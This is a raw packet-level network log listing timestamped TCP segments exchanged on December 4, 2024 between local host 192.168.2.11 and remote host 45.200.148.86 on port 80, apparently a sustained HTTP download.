Dec 4, 2024 15:12:16.393245935 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.394058943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.394216061 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.394254923 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.395034075 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.395046949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.395087957 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.395576000 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.395864010 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.395905018 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.396428108 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.396559954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.396605968 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.397259951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.397351980 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.397393942 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.398226023 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.398313999 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.398360968 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.398998022 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.399111032 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.399152040 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.399873018 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.399983883 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.400029898 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.400723934 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.400865078 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.400907993 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.401577950 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.401691914 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.401741028 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.402386904 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.402513027 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.402558088 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.403249025 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.403359890 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.403405905 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.404113054 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.404268026 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.404319048 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.404957056 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.405070066 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.405112028 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.405858040 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.406088114 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.406133890 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.406671047 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.406838894 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.406887054 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.407545090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.407665968 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.407706976 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.408413887 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.408554077 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.408597946 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.409291029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.409480095 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.409521103 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.410167933 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.410439014 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.410484076 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.411022902 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.411124945 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.411173105 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.411937952 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.411998987 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.412039042 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.412702084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.412754059 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.412801981 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.413558006 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.413686991 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.413733006 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.414391994 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.414518118 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.414556026 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.415286064 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.415437937 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.415487051 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.416189909 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.416326046 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.416367054 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.417011023 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.417102098 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.417145014 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.417902946 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.418014050 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.418059111 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.496793985 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.496908903 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.496978998 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.497108936 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.497237921 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.497281075 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.498044014 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.498337984 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.498383999 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.498460054 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.499213934 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.499264956 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.499304056 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.500066042 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.500107050 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.500159025 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.500931978 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.501000881 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.501106977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.501781940 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.501837015 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.501974106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.502660990 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.502713919 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.502743959 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.503524065 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.503550053 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.503578901 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.504340887 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.504396915 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.504477978 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.505148888 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.505162954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.505196095 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.505980968 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.506026030 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.506058931 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.506846905 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.506922007 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.506948948 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.546533108 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.577379942 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.577408075 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.577460051 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.577497005 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.577610970 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.577662945 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.578340054 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.578501940 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.578543901 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.579432011 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.579505920 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.579546928 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.580277920 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.580466032 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.580512047 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.581002951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.581267118 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.581310034 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.581684113 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.581799984 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.581845999 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.582614899 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.582751036 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.582793951 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.583408117 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.583482981 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.583530903 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.584271908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.584374905 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.584420919 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.585148096 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.585330009 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.585376978 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.586010933 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.586132050 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.586168051 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.586836100 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.586961985 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.587006092 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.587752104 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.587896109 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.587937117 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.588551998 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.588659048 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.588705063 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.589523077 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.589617014 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.589656115 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.590303898 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.590401888 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.590441942 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.591255903 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.591680050 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.591720104 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.592004061 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.592114925 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.592158079 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.592871904 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.592930079 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.592964888 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.593710899 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.593817949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.593861103 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.594558954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.594690084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.594731092 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.595431089 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.595603943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.595653057 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.596285105 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.596415043 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.596457958 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.597203970 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.597342968 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.597402096 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.598026991 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.598156929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.598197937 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.598879099 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.598994970 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.599028111 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.599726915 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.599839926 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.599891901 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.600585938 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.600817919 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.600930929 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.601440907 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.601558924 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.601603031 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.602444887 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.602560043 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.602606058 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.603152037 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.603261948 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.603308916 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.604032993 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.604168892 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.604212046 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.604859114 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.604938984 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.604989052 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.605747938 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.605993986 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.606038094 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.606641054 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.606784105 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.606827021 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.607496977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.607625008 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.607733965 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.608289957 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.608357906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.608402967 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.609175920 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.609256983 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.609317064 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.610069036 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.610197067 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.610241890 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.610852957 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.655878067 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.689390898 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.689532995 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.689584017 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.689589024 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.689639091 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.689676046 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.690100908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.690149069 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.690192938 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.690690041 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.690777063 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.690818071 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.691543102 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.691579103 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.691622972 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.692368984 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.692451954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.692498922 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.693183899 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.693305016 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.693351030 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.694010019 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.694113016 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.694149971 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.694794893 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.694860935 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.694900036 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.695628881 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.695732117 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.695782900 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.696537018 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.696614981 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.696660042 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.697268963 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.697391033 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.697427988 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.698220968 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.698241949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.698286057 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.699064016 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.749641895 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.769900084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.770081043 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.770133018 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.770328045 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.770518064 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.770565987 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.771063089 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.771107912 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.771152020 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.772109985 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.772273064 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.772320032 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.772974968 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.773067951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.773107052 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.773601055 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.773710012 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.773751020 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.774238110 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.774354935 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.774393082 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.774985075 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.775110960 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.775168896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.775785923 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.775923967 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.775964022 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.776611090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.776727915 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.776770115 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.777450085 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.777561903 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.777601004 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.778243065 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.778326988 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.778367043 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.779263973 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.779324055 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.779360056 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.779915094 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.780016899 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.780056953 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.780781984 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.780869961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.780921936 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.781557083 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.781687975 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.781725883 CET	49717	80	192.168.2.11	45.200.148.86
